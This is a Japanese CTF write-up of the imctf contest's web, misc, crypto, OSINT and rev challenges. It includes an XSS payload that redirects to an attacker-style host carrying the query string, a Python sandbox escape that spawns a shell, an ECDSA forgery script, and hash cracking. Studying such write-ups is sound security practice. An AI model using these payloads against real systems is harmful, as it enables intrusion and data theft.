軽い気持ちで参加したらかなり難しかった。けど、全完1位。
web
can you see cookie?🍪
君には、このクッキーが見えるか?
見える。Base64エンコードされている。
atob(document.cookie.split("=")[1])
'run_run_run_as_fast_you_can!'
imctf{run_run_run_as_fast_you_can!}
for stranger of storage🤠
なんてこった!最悪だぜ!まさかそんなとこに置き忘れるなんて!
ローカルストレージにあった。
localStorage
Storage {woody says: '54,47,56,30,49,47,31,6c,49,48,52,6c,62,47,77,67,65…6,64,57,4a,30,49,47,46,69,62,33,56,30,49,47,6c,30', length: 1}
Hexデコードして、Base64デコード。
imctf{strange_things_are_happenin'_to_me}
not any more logging📜
ソースコードが難読化されていてちゃんと読んでいないけど、console
系は潰されているっぽい。ブレークポイントを貼って、_0x55829c()
を呼び出して、ステップ実行中に引数を開発者コンソールで実行したらフラグが得られた。
imctf{we_don't_need_logging_any_more}
DoScript🐣
XSSといったらalert()
を出したくなるところ、この問題はalert()
が出なくなればクリア。JavaScriptを壊せば良い。
:
def js_sanitize(text):
#I've heard that this is enough to sanitize special characters in JavaScript.
return "".join([c for c in text if ord(c) > 0x1f]).replace("\\", "\\\\").replace("\"", "\\\"").replace("'", "\\'").replace("/", "\\/")
@app.route("/")
def doscript():
name = request.args.get("name")
if not name:
name = 'Nagoya-Hacker'
html = f"""<!DOCTYPE html>
<html lang="ja">
<head>
<title>DoScript</title>
<ScRiPt>
//Hack! Hack! Hack!
alert("Hacked by {js_sanitize(name)}!!");
alert("Is there any way to turn off the alerts?");
alert("Hehehehehe");
:
これ知ってる。U+2028, U+2029でしょ。
Masato Kinugawa Security Blog: U+2028/2029とDOM based XSS
と思ったら、今はこれではJavaScriptは壊れないらしい。へー。
JSでDoSる/ Shibuya.XSS techtalk #11 - Speaker Deck
この次のページに載っている<!--<script>
で壊せる。
http://118.27.104.46:31416/?name=<!--<script>
imctf{d1d_y0u_f1nd_d05_by_570r3dx55?}
Num-restaurant🍷
:
def sanitize_price(price):
if not price.isnumeric():
return "10000000"
return price
def sanitize_meal(meal):
if not meal.isascii():
return "Kasumi"
#Is it possible to block XSS?
return "".join([c for c in meal if ord(c) > 0x1f]).replace("\\", "\\\\").replace("\"", "\\\"").replace("'", "\\'").replace("&", "&").replace("<", "<").replace(">", ">").replace("http", "num")
@app.route("/")
def num_restaurant():
niku = random.randint(1, 1000000)
sushi = random.randint(1, 1000000)
yasai = random.randint(1, 1000000)
price = request.args.get("price")
meal = request.args.get("meal")
if (not price) or (not meal):
script = ''
else:
script = f'''<script>
var text = "¥{sanitize_price(price)}{sanitize_meal(meal)}😋Yummy!!";
alert(text);
</script>
'''
:
ややこしい。price
はprice.isnumeric()
が真でなければいけない。meal
はmeal.isascii()
が真でなければいけない上に、エスケープがされる。隠し機能として、Content-Type
をtext/html; charset=shift_jis
にすることができる。
isnumeric
、123
とかが通るのは当然として、一二三
でも通るらしい。
>>> "一二三".isnumeric()
True
meal
は適当な非ASCII文字を設定すれば、ブラウザがShift_JISで解釈したときに次の文字を取り込んでくれるはず。"
がエスケープされた\"
の\
を食ってもらえば良い。http
が潰されるのは//example.com
で回避、"
や'
が使えなくても、文字列から脱出さえしていればバッククォートが使える。
priceが二
、mealが
";location.href=`//my-server.example.com/`+location.search//`
でいけた。
imctf{1_d0n7_w4n7_70_347_5C_4nym0r3}
misc
no this site no life? 🎥
const getflag=()=>{location_host=location.host,location.pathname;let e=document.getElementsByClassName("av-retail-m-nav-text-logo")[0].innerText,t=(document.getElementsByTagName("h1")[0].innerText,document.getElementById("nav-logo").innerText),n=document.getElementsByClassName("navFooterCopyright")[0].getElementsByTagName("span")[0].innerText,o=document.getElementsByClassName("nav_a")[34].innerText,a="";return a+=e[2]+e[3]+t[1]+n[34]+n[38],a+="{",a+=o[1]+e[2]+n[35],a+="_",a+=o[1]+e[4]+n[37]+e[1]+n[34],a+="_",a+=location_host[0]+n[37]+n[35],a+="_",a+=n[34]+location_host[0]+e[10],a+="_",a+=n[35]+e[2]+location_host[7]+e[4]+n[35],a+="_",a+=n[34]+e[10]+e[10],a+="_",(a+=n[35]+e[3]+n[37]+n[41]+n[41])+"}"};getflag();
const dp = 'B07PQNYBZ4'
1行目のJavaScriptはページの中から文字列を掻き集めてフラグを作っているっぽいけど、どこのページで実行すれば……? dp
ってAmazonの商品コードだ。
このページで開発者ツールを開いて、コードを貼り付けるとフラグが出てくる。
imctf{his_heart_was_two_sizes_too_small}
sky tree nest xmas🗼
スカイツリーの高さにちなんで、634回繰り返し圧縮された7zファイル。それぞれにpass123.txtのような形式でパスワードの1文字が書かれている。パスワードは自分より小さい番号のパスワードを全部連結。
シェルスクリプト。
cp ../pass.txt ./pass1.txt
cp ../skytree.7z ./skytree1.7z
pass=""
for i in $(seq 1000)
do
pass=${pass}$(cat pass${i}.txt | tr --delete '\r\n')
rm pass${i}.txt
echo ${pass}
7z x skytree${i}.7z -p${pass}
rm skytree${i}.7z
done
:
174999607706951539193897828876857256078355692772178921060000912825226066123340214890476635772598543718117584383967676307189793466321531109227941295673816738265052178219637919246643554040498891561510731344566165177560039568623725737786192479805484928898963286540923268660274274603137531296557321150622908834087002345784248341933166655850180999694795680945869715102632492440748202027385356897827742009408314639187155792545658986288519357248150344899024835813265079419945122131850442350654627311349209113531030624144057321431319800063388073485028505693240801927410775724083378415279392448086659309842199401774662310756141606651259338477
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-9700K CPU @ 3.60GHz (906EC),ASM,AES-NI)
Scanning the drive for archives:
1 file, 44055 bytes (44 KiB)
Extracting archive: skytree633.7z
--
Path = skytree633.7z
Type = 7z
Physical Size = 44055
Headers Size = 215
Method = LZMA2:48k 7zAES
Solid = +
Blocks = 1
Everything is Ok
Files: 2
Size: 43829
Compressed: 44055
1749996077069515391938978288768572560783556927721789210600009128252260661233402148904766357725985437181175843839676763071897934663215311092279412956738167382650521782196379192466435540404988915615107313445661651775600395686237257377861924798054849288989632865409232686602742746031375312965573211506229088340870023457842483419331666558501809996947956809458697151026324924407482020273853568978277420094083146391871557925456589862885193572481503448990248358132650794199451221318504423506546273113492091135310306241440573214313198000633880734850285056932408019274107757240833784152793924480866593098421994017746623107561416066512593384777
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-9700K CPU @ 3.60GHz (906EC),ASM,AES-NI)
Scanning the drive for archives:
1 file, 43826 bytes (43 KiB)
Extracting archive: skytree634.7z
--
Path = skytree634.7z
Type = 7z
Physical Size = 43826
Headers Size = 178
Method = LZMA2:48k 7zAES
Solid = -
Blocks = 1
Everything is Ok
Size: 47060
Compressed: 43826
cat: pass635.txt: No such file or directory
rm: cannot remove 'pass635.txt': No such file or directory
1749996077069515391938978288768572560783556927721789210600009128252260661233402148904766357725985437181175843839676763071897934663215311092279412956738167382650521782196379192466435540404988915615107313445661651775600395686237257377861924798054849288989632865409232686602742746031375312965573211506229088340870023457842483419331666558501809996947956809458697151026324924407482020273853568978277420094083146391871557925456589862885193572481503448990248358132650794199451221318504423506546273113492091135310306241440573214313198000633880734850285056932408019274107757240833784152793924480866593098421994017746623107561416066512593384777
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-9700K CPU @ 3.60GHz (906EC),ASM,AES-NI)
Scanning the drive for archives:
ERROR: No more files
skytree635.7z
:
最後はWebPの画像が出てきて、メタ情報にフラグが書かれている。
imctf{xmas_colored_skytree_is_bright}
made of honey🍯
word1:1002:NO PASSWORD*********************:29F98734E7AA3DF2454621FF3928D121:::
word2:1003:NO PASSWORD*********************:2A8CCE5C056D50FAA808457D0F229212:::
word3:1004:NO PASSWORD*********************:E694D490564D15954D68DE40B14F7BFE:::
Windowsのパスワードハッシュ。Linuxの/etc/shadowにあたるもの。
Ophcrack。無料のテーブルだと、word2のpixel
とword3のsix
しか出てこねぇ。まあ、それならword1はgoogle
でしょう。
imctf{google_pixel_six}
pixels equal cells👾
Excel。
見た感じカラーコードっぽい。
人間の視覚は優秀なので、縮小すれば見えるんですよ……と思ったけどでかすぎてどこにフラグがあるのか分からない。
テキストファイルにコピペして、真面目に画像に変換。CSSと同様に、例えばCCDDEE
は3桁でCDE
と書かれるらしい。
P = []
for l in open("flag.txt"):
P += [l.split("\t")]
from PIL import Image
w = len(P[0])
h = len(P)
img = Image.new("RGB", (w, h))
for y in range(h):
for x in range(w):
if len(P[y][x])==6:
r = int(P[y][x][0:2], 16)
g = int(P[y][x][2:4], 16)
b = int(P[y][x][4:6], 16)
else:
r = int(P[y][x][0]*2, 16)
g = int(P[y][x][1]*2, 16)
b = int(P[y][x][2]*2, 16)
img.putpixel((x, y), (r, g, b))
img.save("flag.png")
縮小している。元は6000x3375画素の画像。
imctf{google_pixel_six_pro}
brute force gui💪
Windowsアプリ。ヒントは、GUIの操作を自動化して総当たりするか、もしくは解析しろという雰囲気。なぜか立ち上がらないので後者を選択。dnSpy。
imctf{7h3_3y3s_ar3_sharp_r1gh+?}
i wanna present🎁
配布ファイルに.gitディレクトリがある。git reflog
で漁ると、imctf{Talking_Turboman_Figure}
という文字列が見つかるが……Talking_Turboman_Figure
を投げたら通った。
$ curl -d '{"present": "Talking_Turboman_Figure"}' -H 'Content-Type: application/json' http://104.196.236.136:12025/big-sock
correct aW1jdGZ7SmluOTEzX0ExMV83aDNfV2F5fQ==
imctf{Jin913_A11_7h3_Way}
whose is this🧑🚀
ラボのPCに接続した。接続できたのはいいけれど、いったい誰のPCだろう。取り出せたデータから誰のPCか調べられないかな?
作問者 : ShortArrow
誤って2つのファイルを配布しておりました。 「helmet.enc」と「helmet.list」は、本来出題時に配布するファイルではありませんでした。 問題としては、上記2ファイルの有無に関わらず解けます。
ヒント。
I think # was replaced with tags
what is the step
指定されたアドレスとポートに繋ぐと、誤ってファイルされたらしい2個のファイルにちょっとメッセージが付いたものが出力される。
1個目のファイルはこれ。
ISO-10303-21;
HEADER;
/* Generated by software containing ST-Developer
* from STEP Tools, Inc. (www.steptools.com)
*/
FILE_DESCRIPTION(
/* description */ (''),
/* implementation_level */ '2;1');
FILE_NAME(
/* name */ 'HELM.step',
/* time_stamp */ '2021-12-05T00:47:04+09:00',
/* author */ ('imctf'),
/* organization */ (''),
/* preprocessor_version */ 'ST-DEVELOPER v18.1',
/* originating_system */ 'Autodesk Translation Framework v10.10.0.1391',
/* authorisation */ '');
FILE_SCHEMA (('AUTOMOTIVE_DESIGN { 1 0 10303 214 3 1 1 }'));
ENDSEC;
DATA;
<></>=MECHANICAL_DESIGN_GEOMETRIC_PRESENTATION_REPRESENTATION('',(<></>),<></>);
<></>=SHAPE_REPRESENTATION_RELATIONSHIP('SRR','None',<></>,<></>);
<></>=ADVANCED_BREP_SHAPE_REPRESENTATION('',(<></>),<></>);
<></>=STYLED_ITEM('',(<></>),<></>);
:
2個目。
# 10#13#21476#11#21483#12#12#14#21475#13#21492#14#14#10875#15#11354#16#11359#17#11364#18#11369#19#11374#20#11379#21#11...
STEPって、3Dプリンタを買った人が3Dモデルを作るのに使っているフォーマットか。他の.stpファイルを見てみると、<></>
のところが#10
とかになっている。helmet.encの<></>
を順にhelmet.listのもので置き換えれば良いらしい。
enc = open("helmet.enc").read()
list = ["#"+x for x in open("helmet.list").read().split("#")[1:]]
p = 0
while "<></>" in enc:
enc = enc.replace("<></>", list[p], 1)
p += 1
open("helmet.stp", "w").write(enc)
ヘルメット。
内側にフラグが書かれている。
imctf{marshmello_helm}
mmm😰
先輩がmなんちゃら?を有効にしたようです。アドレスバーで検索をするなと言われましたが意味が分かりません。
mなんちゃらはmDNS。
/?data=${data}
でChromeがhttp://${flag}.${data}
にアクセスし、/${port}
でポート番号portのパケットキャプチャがダウンロードできる。
/5353
を開き、すぐに/?data=local
を開いて、ダウンロードされたパケットを見れば良い。
imctf{534rch_73rm5_h4v3_b33n_l34k3d_0m6}
printtext💘
制限を掛けられたPythonコードが実行できるので、フラグを盗めという問題。この手の問題だとsystem
とかopen
とかが制限されているものが多いけれど、これは9種類の文字しか使えない。
SECCON CTF 2021のhitchhikeという問題で熱い解法があった(いずれ公式writeupも出るはず)けど、潰されている。
追記:作問者writeupが公開されていた。help()
が答え。
SECCON CTF 2021作問者Writeup - CTFするぞ
exec(input())
で10種類。ぐぬぬ。open(input())
でflag.txtがあることは分かったけど、分かってもな……。
ググっていたら似たような問題のwriteupがあった。
Eval Golf (PlaidCTF Writeup) | Kevin Yap
exec(chr(1+1+...+1)+chr(1+1+...+1)+...+chr(1+1+...+1))
で任意のコードが実行できる。なるほど。
cmd = 'os.system("sh")'
cmd = ["chr("+"+1"*ord(c)+")" for c in cmd]
cmd = "exec("+"+".join(cmd)+")"
print("".join(set(cmd)))
print(cmd)
$ nc 160.251.76.58 54321
_ _ __ _ _ __
_ __ _ __(_)_ __ | |_ / / | |_ _____ _| |_ \ \
| '_ \| '__| | '_ \| __| | | __/ _ \ \/ / __| | |
| |_) | | | | | | | |_| | | || __/> <| |_ | |
| .__/|_| |_|_| |_|\__| | \__\___/_/\_\__| | |
|_| \_\ /_/
Can you evaluate `print(text)`?
They don't seem to have the flag.
allow_list> x(r1che)+
your allow_list: ['x', '(', 'r', '1', 'c', 'h', 'e', ')', '+']
eval_code> exec(chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1)+chr(+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1))
ls -al
total 24
drwxr-sr-x 1 printtex printtex 4096 Dec 17 14:41 .
drwxr-xr-x 1 root root 4096 Dec 17 13:01 ..
-rw------- 1 printtex printtex 5 Dec 17 14:41 .ash_history
-rwxr-xr-x 1 root root 745 Dec 17 12:10 app.py
-rwxr-xr-x 1 root root 38 Dec 17 12:10 flag.txt
cat flag.txt
imctf{7h3_c0d3_15_45_l0n6_45_4_py7h0n}
exit
Let’s roll!!
imctf{7h3_c0d3_15_45_l0n6_45_4_py7h0n}
crypto
static random👽
固定の乱数から得た値を引いて暗号化しているので、問題のスクリプトをコピペして足し算に書き換え。
import random
def encoder(inputtext: str):
random.seed("we wish a merry xmas")
encoded: str = ""
for item in inputtext:
encoded += chr(ord(item) + random.randint(0, 10))
return encoded
if __name__ == "__main__":
with open("message.txt", "r") as f:
flag = f.read()
print(encoder(flag))
imctf{V3n0m:L3+_7h3r3_B3_Carnag3}
oreore😎
:
def oreore_crypto(flag):
encoded = base64.b64encode(flag)
enc = encoded.hex()
return enc
:
Python2。
$ python2
Python 2.7.18 (default, Mar 8 2021, 13:02:45)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "6157316a64475a374d484a6c4d484a6c58324e79655842304d4639706331397a6458426c636c397a5a574e31636d5639".decode("hex").decode("base64")
'imctf{0re0re_crypt0_is_super_secure}'
imctf{0re0re_crypt0_is_super_secure}
love letter💌
単一換字式暗号。{
の前がimctf
ということは分かるので、後はそれを手がかりに。
ewvnuwjq wlte b cupl cleelx eu ibtbiu rux fjxqwehbw.
ewvnuwjq cqilw fer, wu jl vwlk ejl rcbz eu ldgxlww hn brrlfequt.
ejl cupl cleelx mbw qhfer{lnl_cupl_nuv_ibtbiu_nlbbbbj}.
ibtbiu mbw wjufilk btk euwwlk ejl cupl cleelx.
tsuyoshi sent a love letter to kanako for christmas.
tsuyoshi likes ctf, so he used the flag to express my affection.
the love letter was imctf{eye_love_you_kanako_yeaaaah}.
kanako was shocked and tossed the love letter.
imctf{eye_love_you_kanako_yeaaaah}
common♊️
flagが2回暗号化されているようです。
$e_1=65536$と$e_2=65538$でRSA暗号化した結果が与えられる。
$\frac{m^{e_2}}{m^{e_1}}=m^2$。これが$n$より小さかったので、普通に平方根。
n = 21141157755370440356159016558867591002795131037765353220781763950242197787546988623583333748613811615876039600044067795582387314625044873018261912055648316947575307397145571269092683237196318163742534102252564452361648000741215145961263035358948910750394941304616916013217678630294578579032413375393774307079767343057241805957456859330160131811246961956716626217712879502367810458962663138839207104998925545962808329297100387478763021607429645752111666523372296094568288414788741918520918522347389517685977356020153749161423831061236785869435119648010372663034476232600939002450611487244980761240697255092515294619063
e1 = 65536
c1 = 3791139181938569737398685036032381737646987513051659017777895787043616313081106838760662536132081707503545049439606032069727376790572333643094529595081085118571506461893089039469054703087386815141490544138726142314337827447061522144729907408053083672097701520947030283539764963562701091579919487153984526052282424975277999492006498441654336183574233720547915500793830555227254993335348447191157770264921144000194606354966874727918714437428556969904356868934618577114911104025392029907939301331113924863412657322707967483351467004854177190395076310650546542866389721479249039989850401261446124771193559166329619972412
e2 = 65538
c2 = 9479987054301003593696498729807102589604512322454236806662495038269939932383233766107579478386705533651017857595249113906203900757985576318399557582785561924440535008414598465159052407108648112038858687677552218404377633749009339690058222162908839308847763582094729669124528370642665466262258176588951705959922822288462616323273663488143476234490690202535922260303842658128571121608034815328952318543895796544411651444423903851422043107669054499710424643274879906277104856140792871842468587164924689276336292808339852752054246714774764674969279059667783378523996744567909634744703888058392004064096159069736198607229
from Crypto.Util.number import *
f2 = inverse(c1, n)*c2%n
f = 0
b = 2**1024
while b>0:
if (f+b)**2<=f2:
f += b
b //= 2
print(long_to_bytes(f).decode())
imctf{y0u_are_an_rsa_exp0rt}
pxkemxn🐶
線形合同法の乱数予測。
M = 54354118932293738974277735009690054672438569183669264435593776508452144737651
x0 = 27562969846242726464849700066934036402432300755063353950289314180737804494366
x1 = 53881790667921922669270635160364649792695336386197364717009941696103524473701
x2 = 18353049655762832365359178635985811169156727614439565352194778213695599906765
def inv(x):
return pow(x, M-2, M)
d0 = x1-x0
d1 = x2-x1
B = (d0*x1-d1*x0)*inv(x1-x0)%M
A = ((d0-B)*inv(x0)+1)%M
S = (x0-B)*inv(A)%M
x = S
X = []
for i in range(101):
x = (A*x+B)%M
X += [x]
for x in X:
print(x)
imctf{41406001562898874001864598429475444818799641840147213206874340730032400227277}
origin🔐
楕円曲線DSA。ただし、攻撃者が$G$を指定することができる。
Wikipediaの解説を睨みながら考える。指定できる$G$の選択は$Q_A$くらいしかなさそう。$r=x_1$が楕円曲線上の点かつ係数なのがやっかい。$r$を$G$のx座標として、あとは$s$を調節して$G$の係数を1にすれば良いのか。
from pwn import *
s = remote("18.181.165.199", 54321)
s.recvuntil(b"public key : ")
(px, py) = eval(s.recvline()[:-1].decode())
import hashlib
msg = "Christmas"
h = hashlib.sha256(msg.encode()).digest()
h = int.from_bytes(h, "big")
s.sendlineafter(b"R: ", str(px).encode())
s.sendlineafter(b"S: ", str(h+px).encode())
s.sendlineafter(b"G_x: ", str(px).encode())
s.sendlineafter(b"G_y: ", str(py).encode())
print(s.recvline().decode()[:-1])
print(s.recvline().decode()[:-1])
何回か試すと通る。
$ python3 solve.py
[+] Opening connection to 18.181.165.199 on port 54321: Done
verification failed.
Traceback (most recent call last):
File "solve.py", line 18, in <module>
:
EOFError
[*] Closed connection to 18.181.165.199 port 54321
$ python3 solve.py
[+] Opening connection to 18.181.165.199 on port 54321: Done
verification failed.
Traceback (most recent call last):
File "solve.py", line 18, in <module>
:
EOFError
[*] Closed connection to 18.181.165.199 port 54321
$ python3 solve.py
[+] Opening connection to 18.181.165.199 on port 54321: Done
verification successed!
imctf{funny_516n_v3r1f1c4710n_5y573m}
[*] Closed connection to 18.181.165.199 port 54321
なぜ落ちるときがあるのかというと、h+px
をn
の剰余にするのをサボっているから。
imctf{funny_516n_v3r1f1c4710n_5y573m}
osint
ready made default⚾
相手が席を外したので、Wi-Fi ルーターのパスワードを調べることにした。SSID は
TP-Link_3F04_5G
だ。
ぐぐると固定っぽいな。
imctf{admin_admin}
spaspaspaspaspa🍝
たかしくんは、画像の料理を食べに、あるお店へ行きました。 彼はその料理を完食した時、そのお店に因んだ合言葉を発しました。その合言葉を答えて下さい。
喫茶マウンテン……はググらなくても分かったけど、合言葉が分からない。「登頂」だった。
imctf{登頂}
go home🏡
池の向こうに見える、屋根が赤い家の名前を特定して下さい
トトロだ。名前は分からん。ググった。なるほど。
imctf{サツキとメイの家}
birthday of my favorite🎂
あずにゃんのケーキ。
あずにゃん誕生日おめでとう^^
— tomokun (@tomokun720) November 10, 2015
友達にチョコプレートとケーキ作ってもらいました!ありがとうm(_ _)m→@inosin580
今日みんなで食べよう♪#中野梓生誕祭2015 #あずにゃん生誕祭 #けいおん pic.twitter.com/BChNhxFBbC
友(@tomokun720)にケーキとキャラチョコ作りました😁
— ikusi@菓子 (@inosin580) November 11, 2015
shika(@patisserie_504)さん、キャラチョコのコツを教えて頂きありがとうございました🙇#お菓子作り #あずにゃん生誕祭2015 #お腹ペコリン pic.twitter.com/cLc047ERRv
imctf{inosin580}
P0keM0n G0🥎
ポケストップのスクショから場所を特定。
imctf{35.156641,136.963986}
zerosolve🕛
和時計の写真。
似たようなのいっぱいあるしどうしろと……と思ったけど、普通にGoogle画像検索で見つかった。キーワードに「和時計」を追加。
(20+) Imasen 犬山からくりミュージアム 玉屋庄兵衛工房 - 投稿 | Facebook
baguhan💸
みんなも
imctf
君と一緒にバグハンティングに出かけませんか? 賞金でおいしいお肉が食べたいな🍖
imctf君いた。
imctf{175_4_r1ch_m4n5_w0rld}
rev
electric noticeboard🪧
16セグメントで文字列を出力するプログラム。
問題のソースコードをコピペして、本来は16セグメントに出力する関数を差し替えて、文字列を作るようにした。
X = [
"",
"",
"",
"",
"",
]
def TurnOn(A1, A2, B, C, D1, D2, E, F, G1, G2, J, K, L, M, N, P, DP):
X[0] += " "+("-" if A1 else " ")+" "+("-" if A2 else " ")+" "
X[1] += ("|" if F else " ")+("\\" if J else " ")+("|" if K else " ")+("/" if L else " ")+("|" if B else " ")+" "
X[2] += " "+("-" if G1 else " ")+" "+("-" if G2 else " ")+" "
X[3] += ("|" if E else " ")+("/" if P else " ")+("|" if N else " ")+("\\" if M else " ")+("|" if C else " ")+" "
X[4] += " "+("-" if D1 else " ")+" "+("-" if D2 else " ")+" "+("." if DP else " ")
TurnOn(False, False, False, False, False, False, False, False, False, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, True, False, False, True, False, True, True, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, True, False, True, False, True, False, False, False, False, False, False, False, False)
TurnOn(False, False, False, False, False, False, False, False, True, True, False, True, False, False, True, False, False)
TurnOn(False, True, False, False, False, False, False, False, True, True, False, True, False, False, True, False, False)
TurnOn(False, True, False, False, False, True, False, False, True, False, False, True, False, False, True, False, False)
TurnOn(False, False, False, True, False, False, True, False, False, False, False, False, False, True, False, True, False)
TurnOn(False, False, False, False, True, True, True, False, True, False, False, False, False, False, False, True, False)
TurnOn(False, False, False, False, True, True, False, False, False, False, False, False, False, False, False, False, False)
TurnOn(False, False, False, True, False, False, True, False, False, False, False, False, False, True, False, True, False)
TurnOn(False, False, False, False, False, False, False, False, False, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, False, False, False, False, False, False, False, True, False, False, True, False, False)
TurnOn(False, False, False, False, False, False, False, False, False, False, False, True, False, False, True, False, False)
TurnOn(False, False, False, False, True, True, False, False, False, False, False, False, False, False, False, False, False)
TurnOn(False, False, False, False, True, False, True, False, True, False, False, False, False, False, False, False, False)
TurnOn(False, False, False, False, True, False, True, False, True, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, False, False, True, False, True, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, False, False, False, False, True, True, False, True, False, False, True, False, False)
TurnOn(False, False, False, False, False, False, False, False, False, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, False, False, True, False, True, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, True, False, True, False, False, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, True, True, True, False, True, False, False, False, False, False, False, True, False)
TurnOn(False, False, False, False, True, True, False, False, False, False, False, False, False, False, False, False, False)
TurnOn(False, False, False, False, False, False, False, False, True, True, False, True, False, False, True, False, False)
TurnOn(False, False, False, False, True, False, True, False, True, False, False, False, False, False, True, False, False)
TurnOn(False, False, False, False, True, True, False, False, False, False, False, False, False, False, False, False, False)
TurnOn(False, False, False, False, True, False, True, True, True, False, False, False, False, False, True, False, False)
